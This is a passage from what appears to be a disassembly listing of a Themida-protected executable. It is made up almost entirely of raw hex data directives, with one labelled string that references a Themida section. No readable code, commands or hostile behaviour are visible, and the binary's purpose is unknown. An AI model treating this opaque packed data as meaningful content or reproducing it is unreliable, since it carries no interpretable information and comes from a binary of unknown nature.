3E659B79h, 8AD40D8Ah, 0FA85C327h, 4A000000h dd 2A2CBD25h, 0CC2380FFh, 5ECBBDC6h, 80B16B7Bh, 0DB07A512h dd 0F84D0B97h, 0BDA5CB7Fh, 7C44E4h, 25FB0000h, 0CC357DBDh dd 377ADF53h, 53C74BF4h, 0F06442Ah, 5F0397DBh, 0CE377FA0h dd 0A60F572Ah, 0A31252B7h, 6CE3B234h, 0B0B932B5h, 0E63D18E2h dd 185DBA9Dh, 0A3E334A3h, 0B92DA552h, 5FD880D8h, 0D14EBDFAh dd 40FF4A08h, 43060CE3h, 0BDDC944h, 633289CEh, 0A6656FD9h dd 204A71h, 90E10000h, 10Ah, 19462C5Dh, 0EB97DB0Fh, 7FC1CDF9h dd 0FC640A59h, 5D76A1CDh, 0E76B97DBh, 0FEEF4F9Eh, 0DB0F47B0h dd 8F165A97h, 6F9E1194h, 1A85E8AAh, 8D317AC5h, 71BFF3F4h dd 6C9DE636h, 33744BE4h, 0F86790D5h, 5F88Ch, 0E35A1E00h dd 0DA296A0Fh, 0BC014326h, 95DEA578h, 43B6FC91h, 790FC4AFh dd 572ACE3Bh, 0AA4FA30Ch, 879A9EEDh, 0B6B276BFh, 0B98CFBB7h dd 0FE9191EBh, 2CBD25AFh, 529A032Ah, 0EE3D06ABh, 92BA871Eh dd 214A58B7h, 6B7C2157h, 54A2h, 195EBB00h, 0D94DB2F3h dd 4AB7F95Eh, 256CBFC6h, 0FF2A2CBDh, 0F79F7C4Dh, 7B629CEEh dd 33796Bh, 0CB740000h, 0AECB6337h, 5986EC0Fh, 4497DB52h dd 0BA09681Ch, 2A2CBD25h, 2A1B78FFh, 0A552A7EDh, 0A97D542Dh dd 0DB37DE0Ah, 0BA832197h, 76B7B66h, 0FFFFFE98h, 7DBD2534h dd 0DD55C237h, 7BFA3729h, 27D01D67h, 0D542B1F2h, 0D6F5A170h dd 9EE7AF0Ch, 6B7B62ACh, 1E309h, 7D3B2600h, 0B4A8F08h dd 1280B1B8h, 97DB0FA5h, 6EE1B0B8h, 460ECBE2h, 0B7CE40FFh dd 88CECAD8h, 971B0C3Dh, 97DB0F28h, 86740D35h, 0A750A5E3h dd 0F7E6796Ch, 79E65512h, 733FA0F1h, 9DE63449h, 0A10A554Ch dd 930CB036h, 0DDDBCB46h, 2BCE2297h, 139F186Dh, 91F00DB8h dd 0CDCBDBB6h, 1BFE3287h, 7E6FE85Dh, 0EF68D999h, 7C631A7Bh dd 0CC9FAE3h, 5FA3F245h, 9BCD5851h, 0D9E0044Ch, 269DCAA8h dd 0D88097DBh, 40DBC2B9h, 7B275559h, 3E229DE6h, 0C86F181h dd 0B99091F0h, 70EEF1EDh, 4DFA6652h, 535ACE0Bh, 327D3122h dd 2F91F067h, 66145A3Bh, 639BCD3Ah, 1E663BFFh, 0AFF728D7h dd 0CED1A246h, 0C462C5Dh, 0F99DE64Bh, 32176220h, 12940372h dd 4A81F16Eh, 3691F04Ch, 228DD035h, 0CD967C53h, 71A6A17Bh dd 3446h, 0C225F500h, 80722029h, 0F29DE626h, 1962ADC1h dd 0CB7F91F0h, 6DEA5EAAh, 0F019CE1Dh, 4F57B291h, 8BF6B89Dh dd 0FC479A0Ch, 0F05AE2B3h, 0CD71A678h, 0B3h, 0A7B3B62h dd 0BB0E548Dh, 2A9BDB3Ch, 579EE623h, 3D1A134Eh, 0A0750C75h dd 2C9D91E0h, 0A05FA8EFh, 9DEB572Eh, 2797DB34h, 0A453A2E2h dd 0FE465322h, 1D8073B7h, 96179B82h, 539DE5C8h, 98DFF5BEh dd 8A3EB02Fh, 0F5E61706h, 0F6B74EB9h, 76EF5391h, 0D4D24AFEh dd 2BE0B1E2h, 1E4186Dh, 8C79F643h, 8F90D7FDh, 3AFA4D0h dd 11550000h, 0E0A144B8h, 0B8FA9F93h, 95DCB175h, 6D2BCE22h dd 0D60FE418h, 6387F2B0h, 8478C38Eh, 0D357A4E1h, 0EB0F763Eh dd 0F7204E7Fh, 0EA91EBB7h, 7D3BE631h, 5111F408h, 8440F9E0h dd 7C8C08DBh dd 18F83400h, 8A3E3C61h, 0EFDC0FEBh, 9A05682Ah, 0C8888D14h dd 5919FE79h, 0AB5F6B9h, 0CF1C1084h, 30A7B3Bh, 0B9D9C79Ah dd 49D26BEh, 65CC944Dh, 96D33881h, 6130B621h, 0A9E933AAh dd 60A5D458h, 2C3D21Dh, 0E69C366Ch, 941AC39Dh, 91F09B2Bh dd 0BCEB8736h, 0A191F09Bh, 168135B9h, 0F09B2368h, 69CD9591h dd 0F7D3F89h, 99068A51h, 9B60140h, 51741EF9h, 0A2CBDB36h dd 71A6B8D8h, 3F25h, 0C2255A00h, 5187BB24h, 7FE38A28h dd 472204Eh, 0F3679DE6h, 3BD13A44h, 1C6791F0h, 0B2F324D3h dd 6B24D24Dh, 24E3ECBBh, 9723157Eh, 0F1FE71A6h, 0CF000000h dd 2FF7490Ah, 397BA318h, 0B4176E12h, 8D0A7B3Bh, 0B2BB0E54h dd 0FA2ED81h, 8BBF97DBh, 0E2A277EAh, 7EE7E493h, 0DEC97607h dd 0E68CBD34h, 97DB30B9h, 30E5BCA4h, 63800C70h, 7E4C9114h dd 0ACFA36CAh, 0C297DB5Bh, 78913E82h, 0EA102307h, 0A7EF8266h dd 7F66A15Eh, 0D3B1FDECh, 269DE6D0h, 0A205FE32h, 1D920009h dd 0E09BCE6Fh, 0EE1F6C29h, 0DD105780h, 92064A97h, 92E9AE6Bh dd 2753CE5h, 8691D95h, 1F61A6D7h, 0D4AD25D2h, 0B3981C7h dd 624A831Eh, 90E1B7C0h, 0A1F71DE1h, 488C11CAh, 0D94DF155h dd 0B7024025h, 0B092D738h, 0EF9DD88Ah, 20Dh, 1A1E6F2Bh dd 3DF13E07h, 57AB1658h, 6C80F3B2h, 0BA7ECB89h, 501674E9h dd 216C01E5h, 2475ADEh, 0D49C71B5h, 0AC9D896Dh, 0EBB599C6h dd 988B8491h, 186B2AEFh, 8D8AEB9Fh, 0DBBE72C7h, 85D62A9Bh dd 0C6ACC225h, 97DB0F99h, 2128DC84h, 295D9730h, 0D178FA35h dd 15B062C0h, 0BDA59DE6h, 2A177402h, 0DEA191F0h, 753DE29Dh dd 3B88C90Ch, 1E04E3BCh, 0D5C15C4Bh, 0A687BE88h, 4C03BC71h dd 33AACE09h, 0D4660293h, 77000000h, 0AC61D492h, 6DE592E5h dd 7B3BB114h, 0BF171B07h, 31A51122h, 6383C308h, 0AF23DC21h dd 1C5BBC3Bh, 0E35E27ABh, 920D783Eh, 0DB6E9AE4h, 45ACF497h dd 3D84CCA1h, 0C35C4382h, 1AFED4DAh, 470B9DE6h, 52CDD0A3h dd 2D813A2Bh, 0A15A1149h, 3DC48031h, 5A60B548h, 0CF11F73Bh dd 35EC9BCEh, 6C9D016Ah, 989CE9AFh, 0FD4ABF85h, 8AB0EB24h dd 125C2817h, 30000001h, 0CE10574h, 6538FC43h, 0BF52D61Bh dd 966B8FF8h, 0E28165D0h, 0E0551369h, 0C526690Ch, 0B0074C21h dd 68D9997Ch, 0DDD19894h, 91EBB492h, 0EF9D8C8Fh, 0F47B0FEh dd 165A97DBh, 94037433h, 0D0968312h, 7388165h, 635C9D9Eh dd 0CCB844CDh, 97DB2983h, 0F32BAA9Eh, 77C96740h, 6020F58Ch dd 0EFCE1D11h, 0C2570E76h, 257C70CFh, 56C13070h, 43AEF055h dd 0A7EE5FD4h, 0F6F61994h, 7EC78F42h, 632849C1h, 0A55ED223h dd 8FA0A942h, 0DBB2B4E3h, 0E85B1A97h, 1123D286h, 0D950E918h dd 35796A0Bh, 9DE87A1Ch, 0A176E169h, 0F99C90E1h, 0A3CF48B9h dd 9420FB1h, 35D7BF5Ch, 0F0216E04h, 0B13CE97Dh, 7DF0B2FDh dd 37BBAFE9h, 98E9A96Eh, 7D5BE891h, 0BD380EF1h, 337316E4h dd 1622DBC2h, 705EFAFFh, 76ABA6FFh, 8E5BC42Fh, 79A6CCFDh dd 64E97DF4h, 0D8CAA5FCh, 0C92D94DCh, 14056C34h, 0F4408FE3h dd 155DE97Dh, 0AA7D58Ch, 64000000h, 3C07C409h, 0B3C244F3h dd 0E7F3B50h, 0B9084891h, 2F9CD93Eh, 0DB246FB0h, 48BDFB5Ch dd 0F94C0ACFh, 69DA997Eh, 1A6729EEh, 0B4FB449Dh, 4668B30Bh dd 8900007Dh, 8952240Ch, 4C281E2h, 81000000h, 4EAh, 24148700h dd 2434895Ch, 3CBD68h, 241C8900h, 5425C6BEh, 0D1D6F742h dd 7BB850E6h, 317D6705h, 8B5458C6h, 0C483241Ch, 4815604h dd 8907FD24h, 8438F70h, 7FDB850h, 43297089h, 1C8B5808h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch dd 4C4815Eh, 0E9000000h, 0FFFB9347h, 0CE3EC430h, 0B835F8F9h dd 630BC42h, 0E0FFC503h, 151A1471h, 1BB68569h, 2C71C511h dd 1630935Fh, 7C2A1FE9h, 313985D1h, 20AA9E92h, 5537FE51h dd 47CA37BBh, 75D0B73Dh, 5DB9A272h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 863357C3h dd 99945C1Fh, 0D37A7EBBh, 0F9BD8340h, 62B01h, 0BD830975h dd 62B1689h, 50197400h, 0B8C08B53h, 3FCh, 1B818589h, 9D8D062Bh dd 62DBF75h, 585BD3FFh, 1689BD83h, 7400062Bh, 0B8535017h dd 3FCh, 1B818589h, 9D8D062Bh, 62DBC64h, 585BD3FFh, 6AF08Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0F950ADC3h, 6AC08B5Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 20CBC356h, 72F38013h dd 6FEB8166h, 1BD832Ah, 1062B0Ah, 80840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 805BD0C3h, 14E823E3h, 0E4000000h, 9705A73h, 56195DC5h dd 0C361B420h, 0CFFDEDA0h, 663C0489h, 5B4AA4BBh, 1F29BD83h dd 0F00062Bh, 3585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 2D0C3D25h, 0A55A167h dd 0F8DFBF0Fh, 328DBD83h, 0F00062Bh, 5F84h, 0C2E9F500h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 11DCC350h, 0D8E0F34h, 0E9000000h dd 8, 91199EFCh, 83C90C99h, 0 dd 6AF88Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0BAD4D2C3h, 64D6ADB7h, 7F837F04h, 0CFCACCF4h dd 0C09DD9E4h, 0C0932331h, 51B4CA98h, 572BC705h, 496D32A8h dd 43E32184h, 0F51847D2h, 0A69BE49Eh, 282E93D8h, 0C09DCA34h dd 570FAD90h, 0C31AC5C6h, 0CF9DCA26h, 3FC712ACh, 929DA059h dd 0C09DC92Ch, 3C7EA62h, 0E4C9436Bh, 0E4D94B9Ch, 0C09DDE48h dd 3CF8826h, 0C45023DCh, 4792CA89h, 0C09DCADEh, 0C0894E6Dh dd 0CE75CA31h, 1D9DCA98h, 0F30C199Ah, 0AF7B4C3Eh, 0AE6D2D4Ch dd 28C891F9h, 0C09DCAC4h, 0E4704B3Fh, 299BFA8Eh, 0C09DCA90h dd 0A07CFB08h, 48511556h, 28CBCA79h, 0C09DCA8Ah, 9E5E94E4h dd 0C4B9BEEBh, 0C4B98EB0h, 0C09DCA8Eh, 395E9C0Ah, 0D4740EB2h dd 939DCA13h, 0CC94F342h, 5F80C01Dh, 56CC0D98h, 8C6EB26h dd 4B38E21Ah, 909DA08Ch, 0C09DC9CEh, 3C5EA13h, 0E4D943D1h dd 0E4D94BC0h, 0C09DDD66h, 3CD8A31h, 0A575922Ch, 904C412Ah dd 0E39A49Ch, 0E499436Ch, 0C192293Ah, 2863EE88h, 0C09DCA68h dd 0F3A389A7h, 0B2359DA7h, 7792DC02h, 0CFC590FEh, 0CC9814ACh dd 0AA9DCA8Bh, 0C3759DC4h, 0E09DCA62h, 49C2096Eh, 4199EEE4h dd 0D499EE08h, 879DCA26h, 76790944h, 969541E1h, 0A6C7154Fh dd 296182E9h, 0C09DCA3Bh, 30D9DE5Bh, 0B1AF90A9h, 0C975EBC9h dd 589DCA13h, 8ADEC8DAh, 2A51AB03h, 0C09C7239h, 21DCA31h dd 4BFB9AF0h, 0E491439Bh, 54DE279Ch, 1911AC71h, 28CFCAE3h dd 0C09DCAC7h, 9A5E9042h, 0C4B99EB8h, 0C4B98E19h, 0C09DCA58h dd 965E9864h, 0C09D411Ch, 16BCA89h, 0F918C5C0h, 0AA9DCA63h dd 0C3759F31h, 0E09DCA98h, 49C00911h, 4199EE4Ah, 0DD99EE57h dd 859DCA89h, 19480991h, 0FE06B283h, 0F975D6EAh, 979DA0C1h dd 0C09DC9A4h, 3C2EA26h, 0E4E1434Ch, 0E4D94B8Dh, 0C09DD3C0h dd 3CA8D62h, 5C4197B7h, 4392D0D2h, 0C09DCA49h, 92764B40h dd 0A8A44A2Fh, 0C1C04F86h, 0C0F7CAC4h, 0C09E2233h, 99BDCA31h dd 8C14935Bh, 841CCE68h, 0C084CE02h, 91DCCA13h, 0C465F84Ah dd 0A0ADC4B9h, 4B6F4104h, 0A0CFABF6h, 321CAC64h, 9BFC4FDBh dd 4B454140h, 28CBCB6Ah, 0C09DCA8Eh, 0C246BE7Eh, 29D8E519h dd 0C09DCA25h, 0F7AFD2E7h, 90B46C1Dh, 0E05E2BF4h, 568CE4C8h dd 1BF5DD5Eh, 3F1C919Eh, 409DCA62h, 0C06C483Eh, 221CCA98h dd 0A1A4D1CFh, 7EE94FE1h, 0C09CCC23h, 0C0F7CA89h, 0C09E2291h dd 9DBDCA62h, 0AC1497F2h, 841CCEBCh, 0C089CE68h, 95D8CA26h dd 6749CD0h, 979DCA89h, 9A4441A2h, 0C09D7C8Bh, 979DA031h dd 0C09DC970h, 3C2EA4Ch, 0E4E14379h, 0E4D94B17h, 0C09DDF8Dh dd 3CA8DC4h, 0D17495A8h, 9DCA31h, 0E7F7F4D0h, 7889FD53h dd 3E911209h, 2F39EE1Fh, 86F70EFh, 0C097229Dh, 6CD1CA62h dd 7C8A8141h, 506C0113h, 3370712Ah, 0B91EAC7Dh, 44923518h dd 0C09DCAD6h, 28CFCAAEh, 0C09DCA61h, 9A5E9011h, 0C4B99E11h dd 0C4B98ECDh, 0C09DCA3Eh, 115E9851h, 9335444Eh, 7EE94F03h dd 0C09CCC52h, 0C0F7CA31h, 0C09E22C9h, 99BDCA4Ch, 8C1493E5h dd 841CCE37h, 0C08ACEADh, 91DCCAC4h, 661377A1h, 1D5E4B29h dd 29969D5Bh, 0C09DCA47h, 0E0233BF7h, 146F835Fh, 887E6737h dd 7C46137Fh, 7E6C7353h, 4510AE45h, 0C6AD0E82h, 2BC77C1h dd 38A6CC16h, 0CFADCD67h, 2BDA0358h, 939DA031h, 0C09DC98Ah dd 3C6EA31h, 0E4C143C3h, 0E4D94B48h, 0C09DD222h, 3CE8913h dd 0B2C13761h, 0C08E237Eh, 1B5CA62h, 0E0258575h, 1D05F41Eh dd 0A2FC8F13h, 9235FD35h, 0AADF7868h, 0C3759D89h, 0E09DCAC4h dd 49C2093Dh, 4199EE4Dh, 0DD99EEDCh, 879DCA4Ch, 54B00971h dd 84FCBFBh, 2F7211Ah, 0CA9C7747h, 0CF9CCC49h, 0C09D8EB5h dd 919DA098h, 0C09DC9A4h, 3C4EA26h, 0E4D1434Ah, 0E4D94B8Dh dd 0C09DD2C0h, 3CC8B62h, 8D65AB0Ah, 0E9204910h, 0C09BE153h dd 0C08A4F29h, 5027CA13h, 43B9EC3Dh, 0EBAF4779h, 4492CA64h dd 0C09DCA7Fh, 4B6C1018h, 0C0682393h, 0C0F7CA26h, 0C09E2244h dd 9FBDCA89h, 0BC149507h, 841CCE46h, 0C085CE15h, 97DACA98h dd 0C77BE48Fh, 0CB75A390h, 0F29DCA13h, 0BC00F48Ch, 1D5731A5h dd 41FBD0EBh, 9BCFC1DBh, 0C0954C97h, 41CDCA4Ch, 74061EEDh dd 7D1E9112h, 0C6B6C088h, 5118C5C5h, 0AA9DCA62h, 0C3759D31h dd 0E09DCA98h, 49C20913h, 4199EE5Ah, 0DA99EE57h, 879DCA89h dd 203D0993h, 0B5475BAAh, 903570D0h, 0AAC0D7FFh, 0C3759C4Ch dd 0E09DCA26h, 49C3094Dh, 4199EEFDh, 0DA99EE80h, 869DCA62h dd 0AE470967h, 1CB450A2h, 2A1CACE4h, 0A65EEF1Ch, 18352892h dd 1B1C99DEh, 0AC2B3185h, 80749138h, 0AA9DCA31h, 0C3759A98h dd 0E09DCA4Ch, 49C5097Eh, 4199EE57h, 0D999EECDh, 809DCAC4h dd 81FE0932h, 1DAB8AEDh, 0C09B4D97h, 0A6CECA4Ch, 9A5F6A9Ch dd 0CFF5794Eh, 0C09DCE08h, 1A1699C4h, 52260538h, 4DD0294Fh dd 0F0235625h, 2710474Ah, 789BFAE5h, 0BBA7960Eh, 0F5E44FBAh dd 0FB6CCEFh, 457E6C73h, 824510AEh, 0C1C6AD0Eh, 1602BC77h dd 6738A6CCh, 58CFADCDh, 832BDA03h, 0A4F305E9h, 0BE74BD83h dd 74000630h, 0A18D8D0Dh, 0B8062B4Eh, 1, 0E940E1FFh, 10h dd 1C50935Fh, 9477204Fh, 4C7DE24Ah, 345CBF14h, 0FE9h, 9443B400h dd 0CDAFDC96h, 37595516h, 0E63A629Eh, 0E82DE883h, 13h dd 0D3150BEDh, 544B8F5Eh, 0CD591BC7h, 0ABB1AF10h, 66923D1Bh dd 5B6678BAh, 8E8C08Bh, 97000000h, 3F7C3335h, 0FBCC6E6h dd 68Dh, 880F00h, 5A000000h, 1F9BD83h, 7500062Bh, 89BD8309h dd 62B16h, 53501974h, 0FCB8C08Bh, 89000003h, 2B347985h dd 0DC9D8D06h, 0FF062DBFh, 83585BD3h, 2B1689BDh, 17740006h dd 0FCB85350h, 89000003h, 2B347985h, 7D9D8D06h, 0FF062DBCh dd 6A585BD3h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 5762C357h, 13EB8166h, 6A5A08h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 0F0F6DC3h, 28Dh, 8BFC8A00h, 0DB8D8DC0h, 6A0630C5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 5168C353h, 0C1C92AD1h, 0DF81C31Bh, 4EC82E63h, 89F1B70Fh dd 2B0EE18Dh, 3DB58906h, 0C7062B16h, 2B21E185h, 61EC06h dd 85C7F800h, 62B2BE5h, 0 dd 7E54BB66h, 0ECDB5FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0C3A563C3h, 8B09A3C4h dd 2B219995h, 299D8B06h, 0FF062B17h, 2B273195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 59C912CEh, 85010FF3h, 62B218Dh, 28B0Fh, 6AB30000h, 95FF006Ah dd 62B2945h, 5AEBC08Bh, 19556F4h, 566A37F5h, 867CCC73h dd 5C765952h, 0FE446A5Dh, 0D83F8EF4h, 0A946FABCh, 326AFBC1h dd 29D4A3E1h, 0F208A586h, 36DA089Dh, 0B63C7537h, 0D9CD1800h dd 4A52D129h, 855D9970h, 28B97940h, 0B4CFA02h, 0DB2F31EAh dd 0F3F39DBFh, 0EE8C7609h, 0AC2F6C0Ah, 1E21D045h, 35E9A016h dd 4E000000h, 71CB4Eh, 57000000h, 434AC51Ch, 0F9366148h dd 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h, 9D8993h dd 921DF4C7h, 0DE196063h, 2 dup(0) dd 0B36E9h, 0C78A6800h, 35E90630h, 68FFFAB9h, 630C8A0h dd 0FAB92BE9h, 0C9C868FFh, 21E90630h, 68FFFAB9h, 630CA8Dh dd 0FAB917E9h, 0CB7468FFh, 0DE90630h, 68FFFAB9h, 630CC80h dd 0FAB903E9h, 0CD6A68FFh, 0F9E90630h, 68FFFAB8h, 630CF4Bh dd 0FAB8EFE9h, 0D03468FFh, 0E5E90630h, 52FFFAB8h, 0A4C33F09h dd 0F4138FB1h, 45A25E60h, 91EE2A02h, 0CE3BF7C9h, 0F6C88E0Bh dd 4781DD3Ah, 112B2C4Bh, 0DCFA7A95h, 0C7D57A20h, 92DB0625h dd 6F04DC58h, 7785D21Fh, 8ADC1A15h, 1AA93628h, 0BE0C47Fh dd 7E9ABCB4h, 0D6F0708Fh, 164E4DDAh, 4647DB30h, 5FCC393Bh dd 65953535h, 614A62E5h, 0CA21BDD9h, 9BC42999h, 0C9CA910Ch dd 24D931BBh, 0BEDA446Dh, 0B4DCCD6Dh, 731303FFh, 34C30C12h dd 75938628h, 0A667FB67h, 5274ECABh, 96CAC956h, 2E2679B0h dd 42B2A308h, 0EB96A22Dh, 0A7958B7h, 53B89CD7h, 0FA7480CFh dd 8F7998F7h, 35CD7793h, 0D6568D14h, 98E4205h, 520B0000h dd 65DBA76h, 0B7ADCAC6h, 7BFA1591h, 1046A15Dh, 0D087F22Eh dd 0ED291347h, 2FEC892h, 4C487CE5h, 9B173133h, 6C1E2AC1h dd 0E192DB07h, 0C7814F63h, 451B76E1h, 0B996A803h, 9F6E9FA1h dd 0B873C5B0h, 7582A83Fh, 0CDEB6DB4h, 6C500782h, 0F848C1BDh dd 0B9406CFBh, 0D48AC660h, 0DD6B614Ah, 976D3E7Ch, 26C9A6Eh dd 0BA776C9Ah, 2Ch, 0D21F6F24h, 6C520685h, 638692BDh, 0E28AC6EAh dd 9321AF7Ch, 0D96D3F29h, 390B534Eh, 0A45D4CD2h, 0C2B8B2E0h dd 0C06C776Bh, 6E000000h, 0AE1C781h, 2ACB847h, 7794EBC0h dd 7BDF22EBh, 5D176A41h, 0B4D907Bh, 5EE7F12Dh, 0AD94EBDCh dd 0F6118DABh, 0C273587Eh, 190AAE72h, 239F3A40h, 3D4C5887h dd 3C7539BFh, 0C4C5FB61h, 4CFD3921h, 182234FCh, 0C413AFB3h dd 5EAD93C9h, 3A46C9C0h, 730D3E23h, 27C9D77Ah, 5A674D40h dd 603FA8C4h, 0C9BC4FEh, 4D404EE0h, 0EE1F0367h, 0B983D730h dd 59CA790Bh, 72D50650h, 878h, 8C083C21h, 0DCD8EC73h, 6FAB9DC3h dd 0BB775110h, 0C4C0FA5Ch, 55DC6B9h, 0B2A8C7C3h, 66FB1490h dd 0F49A662h, 2FED29h, 0DB087AF4h, 31090F92h, 54D6E271h dd 2994EBC0h, 0B1A9F831h, 7CF4138Fh, 6F3A5E5Ah, 7785D21Fh dd 8AC6EA72h, 93BE0D0Dh, 8C5F61F4h, 0B11A2A31h, 0B6C20DA9h dd 6D3F2A34h, 0B8D8D149h, 6D3F2A2Ah, 0C1EDD160h, 776BC3A5h dd 0CEF06423h, 58025DFDh, 0F8EABF6Eh, 0F4000000h, 7150271h dd 8378DB5Fh, 0EE49E5DFh, 0E47A5177h, 8F9ADA25h, 0EBB0CF61h dd 9C8294h, 0B19A4ABh, 94EBB061h, 7C830A14h, 2BC5D3DAh dd 0D294EBB0h, 0B51B2261h, 0FD9D5E78h, 0BF468A61h, 4A94EBD4h dd 7FF11F0Ah, 1294EBC4h, 0B154230Ch, 90A78912h, 0E55FB874h dd 2665E8C3h, 63BE0D33h, 59E1CAFEh, 0EB5BCC3Dh, 3E4B5986h dd 3D8AC6BBh, 83E882AEh, 0FD9D6D3Eh, 35F1690Ch, 0D3F56F2Ah dd 0B6A766F8h, 92BE2946h, 730C47F8h, 0B58BCE0Dh, 23ACC856h dd 6262F994h, 380254ABh, 85BFA3FCh, 58C3B77Fh aPpgip db 'Pp£¨P',7,0 ; DATA XREF: Themida_:0056504Ao align 10h dd 0F4301449h, 480C49Bh, 575375EBh, 0E31F3938h, 2CE8D284h dd 0DD851EC1h, 8AD02FEBh, 3E237CB8h, 0F7718E0Ah, 0E807D5D1h dd 0DB0952DCh, 9212792h, 2BE7D981h, 16FB613Ch, 67D694Fh dd 129B3720h, 0E473550Fh, 0B592B2A9h, 2C3299AFh, 719D01FDh dd 0C054D6E2h, 312994EBh, 89AFA9F8h, 4365DF22h, 0C0CB5947h dd 64D494EBh, 0CCB4C00Fh, 8D8ADC1Ah, 1A43581Eh, 0B6775E86h dd 0A1FC6BF7h, 0EA0581A7h, 0CE7F4C6Ah, 0ABE6717Eh, 13A541B6h dd 931C8265h, 0C9BB677h, 73FB2F81h, 66A7AD8Eh, 907F36Ah dd 60478A73h, 0F9DF2ED9h, 5E7B649Dh, 0DC78F0E9h, 28CB6573h dd 0A0BE674Fh, 6342FE04h, 3AE9505Bh, 68B13h, 754F0C00h dd 0C5FB5EB9h, 94AAAEC9h, 6044FF18h, 2D174BA4h, 48D584F1h dd 97F02C16h, 0E601FDC7h, 34534F71h, 3C9E1A3Ch, 0A6F012Fh dd 66E292DBh, 32C78142h, 8A1D095Fh, 0FCCF6B80h, 12B92251h dd 6919FCB3h, 2E761A0h, 0FD9D6E58h, 23B8A61h, 0FF0D983Eh dd 94EB154Dh, 6D1F2D00h, 0E094EB15h, 0D42BE27Eh, 0D17EBA9Ch dd 6F9EA8B2h, 97ADFE68h, 10A67Dh, 0FCAB0000h, 0EFA9C6ABh dd 6D69A013h, 1B575h, 62F06D00h, 6394EBC0h, 830A2C24h dd 82CD2292h, 0DC1A3976h, 9DCA548Ah, 6DBB4FEEh, 0EF4874CFh dd 0EA745769h, 2812C23h, 91B7AA5Fh, 188243Ah, 0A46046FEh dd 0DC2F094Bh, 0B7B40271h, 0D71846FEh, 98D525D6h, 11BC214Fh dd 9CD37309h, 20377769h, 0C4B3CF1Ch, 0C05CDEC1h, 5BB510B2h dd 0D970A350h, 5A4h, 0A05C68F5h, 0F02C1047h, 3FFC197h dd 4F4B6DE4h, 98142E30h, 2931AA6Dh, 0DE7C9B17h, 8ACF28E4h dd 5B1D7AB6h, 34DB817Dh, 0DB0B8628h, 657DFB92h, 0AE1C781h dd 9648BDB7h, 0C1C66CC3h, 784A106Fh, 640473DCh, 0B9C12ACFh dd 4FE10F58h, 294EB85h, 0C31EED1Ch, 0FB46A59Fh, 9E8E5D67h dd 7FCCA367h, 0B4AC02C6h, 8A091692h, 515F6D0h, 1E690584h dd 111D7D97h, 0B9000000h, 54D6E271h, 2994EBC0h, 0CB5DF831h dd 45000000h, 0B7E00271h, 0A28DABAAh, 0A465A8ACh, 0A12E43B3h dd 0DC5EF993h, 0C5120C8Ah, 32ED10D6h, 454416ADh, 0FD603FCAh dd 0AF5EE0CBh, 77E51050h, 0DBD27336h, 1570DF7Bh, 8E907B4Dh dd 3794A8B1h, 0E33CE22Bh, 8D184761h, 24E9CD7Fh, 254D806Dh dd 0CBE0C56Dh, 49DCCD69h, 1847AC1Ch, 13E9A70Ch, 1B44DA73h dd 26E2C47Ch, 42A98FC9h, 34CA111h, 59C884F5h, 0E674AB79h dd 0D7730FDCh, 8C3C07ADh, 0BC974456h, 498h, 0AC685C01h dd 0FC380C53h, 0F8BBDA3h, 5B5771F0h, 0E4201A3Ch, 253DA699h dd 0D288E723h, 86DB34F0h, 2F294642h, 20CF8D09h, 0DB0C9A14h dd 5169EF92h, 0BA3E0271h, 7728391Ch, 6084F9AEh, 0A861FD02h dd 14CADh, 2719500h, 36A0BDE2h, 0D3EEF3Ah, 9827B0BDh, 0C64DFF0Dh dd 1E0094EBh, 1CAFE1EFh, 0BCA28ADCh, 0F6788413h, 8B6D24FFh dd 0D2390354h, 56F9304Ch, 0B01F393Bh, 74B6A6C5h, 8A90DFE1h dd 0A41A9327h, 7C9CCBBh, 20727287h, 95A50620h, 0F771B079h dd 2857FAD1h, 0C863CF05h, 0A968692h, 3A045827h, 0B70738F1h dd 0A81F2DBAh, 0A773132Fh, 0FDCE678h, 0D88D773h, 0A6B16D4Bh dd 595074EBh, 0C3280E46h, 82CD2292h, 588A0B76h, 0ADBB4679h dd 79989203h, 0CA8FE876h, 840515F6h, 6BCB79E1h, 94568CF9h dd 3AE0C47h, 72EB0000h, 263D5A56h, 0D78DEA26h, 9BDA35F1h dd 302641BDh, 0B067920Eh, 8D093327h, 22DEE872h, 6CA89CC5h dd 0BB775113h, 8C3E4AE1h, 0C192DB0Dh, 0C7816F43h, 591B76E1h dd 0A0FF8E7Fh, 0DA2586A0h, 9AF99D61h, 0C32EFDDBh, 9624C35Eh dd 3AF30FF1h, 4F4B6DE7h, 96EB1E48h, 4BC67Dh, 71000000h dd 0C054D6E2h, 312994EBh, 0FAF747F8h, 92125F6Dh, 32518AC6h dd 0AFB3182Eh, 0BDE0F7C0h, 3AF30242h, 1D78E77Bh, 1B850147h dd 6D3F028Eh, 70560E8Dh, 0C8EE66B9h, 9BADB3CCh, 1993A14Ch dd 6C6D3F02h, 0E1683BF2h, 308h, 0E4D881D1h, 9EB8B807h dd 65430562h, 0B4C06FFAh, 94EBC03Ah, 6B05D34Fh, 1E94EBC0h dd 127C34D3h, 0A8C4D62Dh, 154F9261h, 676F733h, 0B516302Ah dd 0B2CEF066h, 77FFABC5h, 0DA7611CDh, 0DB3FE8Dh, 0B4E17556h dd 8C15BB72h, 0E38AC6D2h, 9220AC7Fh, 0D86D3ECAh, 2D396559h dd 0D1776BE8h, 48h, 531271FDh, 685B9675h, 0CA55C6A4h, 0C879B0CCh dd 0C0EC7B78h, 8AC653A9h, 0E3E579A4h, 8DDA7608h, 